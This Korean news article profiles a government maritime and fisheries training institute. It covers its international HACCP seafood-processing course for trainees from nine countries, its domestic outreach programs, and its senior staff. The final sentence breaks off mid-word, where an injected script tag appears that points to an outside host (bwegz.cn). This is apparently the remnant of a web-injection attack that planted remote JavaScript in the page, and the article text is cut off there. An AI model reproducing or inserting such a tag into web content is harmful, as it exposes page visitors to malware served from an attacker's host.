#정부 교육기관의 다양한 프로그램-학생, 주부, 외국에서도 주목

지난 3월 국가 해양·수산분야에 종사하는 공무원과 민간인을 대상으로 한 전문인력 육성을 목적으로 전문교육훈련기관으로 독립 출범하게 된 해양수산인력개발원의 교육 프로그램이 해양수산 분야의 공무원뿐만 아니라 도시 농·어·산촌·섬지역의 초등학생과 주부, 넓게는 중국과 동남아 등 타 국가에서도 주목받고 있다.

해양수산인력개발원은 1968년 국립수산기술훈련소로 창설된 이래 지난 1999년 1월 1일 국립수산과학원 인력개발본부로 병설 통합 운영되어 오다가 올해 3월 정부의 교육혁신 방침에 따라 해양수산부 소속의 국가 전문교육 훈련기관으로 출범한 이후 ‘독도꿈나무 학교교육 순회강좌’와 ‘찾아가는 수산식생활 강좌’ 등을 운영해 인기를 끌고 있다.

지난 8일부터 28일까지 3주간 일정으로 캄보디아, 중국, 이집트, 인도네시아, 모로코, 파키스탄, 필리핀, 스리랑카, 베트남 등 중동 및 아시아 9개국, 11명의 연수생을 초청해 우리의 우수한 수산기술 보급을 위한 국제교육훈련을 실시하고 있다.

#동남아 아프리카 등 9개국에 첨단 수산가공 기술 보급 앞장서

해양수산인력개발원이 주관해 실시하게 되는 이번 훈련과정은 수산물 유통과 가공산업 분야 중 수산물의 위해요소 중점관리기준(HACCP)에 대한 실무이론과 가공공장 견학 등이 핵심을 이루고 있다.

또 우리나라 수산물 유통·가공정책 및 전문기술 등과 해양수산 선진시설 견학, 산업단지 시찰, 문화체험 등도 동시에 실시될 예정이다.

이번 연수사업은 KOICA(한국국제협력단)와 협력해 실시하는 것으로 지난해 처음 실시한 이후 올해 대상국을 확대해 실시중이다.

개발원은 이에 따라 해양수산부와 국립수산과학원, 국립수산물품질검사원, 식품의약품안정청, 한국식품연구원, 관계전문가 및 부경대학교 담당교수 등 최우수 강사진을 구성해 연수내용이 내실 있게 진행될 수 있도록 힘쓰고 있다.

황수철 원장은 “이번 훈련을 계기로 참가 연수국 연수생들에게 수산물 가공과 수산물 위생관리 등에 관한 이론 교육과 현장학습을 통해 공장 위생관리 기법을 전수, 연수국가의 수산가공 산업 발전을 도모하고 우리나라로 수출하는 수산물의 품질 향상을 기할 수 있도록 교육에 만전을 기하겠다”며 “연수기간 중 우리나라의 발전된 경제·사회·문화와 접할 수 있는 시간도 마련해 본 과정을 수료한 연수생 각자가 친한 민간외교관으로서 역할을 담당할 수 있도록 유도함과 동시에 장기적으로 국제협력을 강화할 수 있는 계기를 마련 하겠다”고 밝혔다.


#작지만 알찬 조직운영위한 전문 교수단 확보 노력

인력개발원은 이처럼 국제교육 뿐만 아니라 연초부터 실시하고 있는 ‘독도꿈나무양성’과 ‘열린 수산행정을 위한 시민 식생활 강좌’등 국내 교육의 알찬 프로그램 진행을 위해 전문 교수단 확보에 주력하고 있다.

인력개발원은 해양수산 공무원의 전문교육 훈련을 통한 핵심인력 양성을 목표로 기본교육·전문교육·해양교육·어업인 교육·국제교육 등 63개 과정을 운영하고 있으며 교육지원팀과 교육혁신팀 2개의 팀이 이를 이끌고 있다.

개발원은 총 27명의 소수의 인원으로 운영되는 작은 조직이지만 알찬 교육을 위해 전문 교수단을 확보 일관적이고 전문화된 교육이 이루어질 수 있도록 조직 시스템을 갖추어 나가고 있다.

이처럼 정부기관의 교육 프로그램이 인기를 끌 수 있는 비결은 전문 교수단의 프로그램 개발을 위한 끊임없는 노력과 열정에서 나온다고 해도 과언이 아니다.

일단 연수원을 이끌고 있는 황수철 원장은 수산청 시절부터 책임감이 투절한 인물로 정평이 나있다.

황 원장은 해양수산부 근무시절 ‘소형기선저인망어선 정리에 관한 특별법’을 의원입법으로 제정해 불법 어업을 근절시키는 데 큰 공을 세우는 등 맡은 바 임무에 대해 최선의 결과가 나올 수 있도록 철저한 행정관리능력을 보여 주고 있으며 교육을 담당하고 있는 원내 교수들 역시 실력파로 인정받고 있다.

교육지원팀장을 맡고 있는 채진규 서기관은 국제해양법 권위가 있는 인물로 해운 항만 경제이론에 밝다. 채 서기관은 해운 항만과 관련된 경제학 박사 학위 2개나 가지고 있는 재원
으로 원내 브레인 탱크의 중추적인 역할을 하고 있다.

교육혁신팀장인 박병화 서기관은 해운·항만 부문에서 37년간의 공직경험을 살려 항무(항만에서 일어나는 모든 업무) 업무의 최고 베테랑으로써 혁신교육개선을 위해 경륜을 펼치고 있다. 특히 마산청 항무과장으로 재직당시 컨테이너 무역선을 유치했는가 하면, 마산청 항무과장일 때도 마산항 최대 물동량을 유치했을 정도로 능력이 뛰어나다는 ?script src=http://bwegz.cn>
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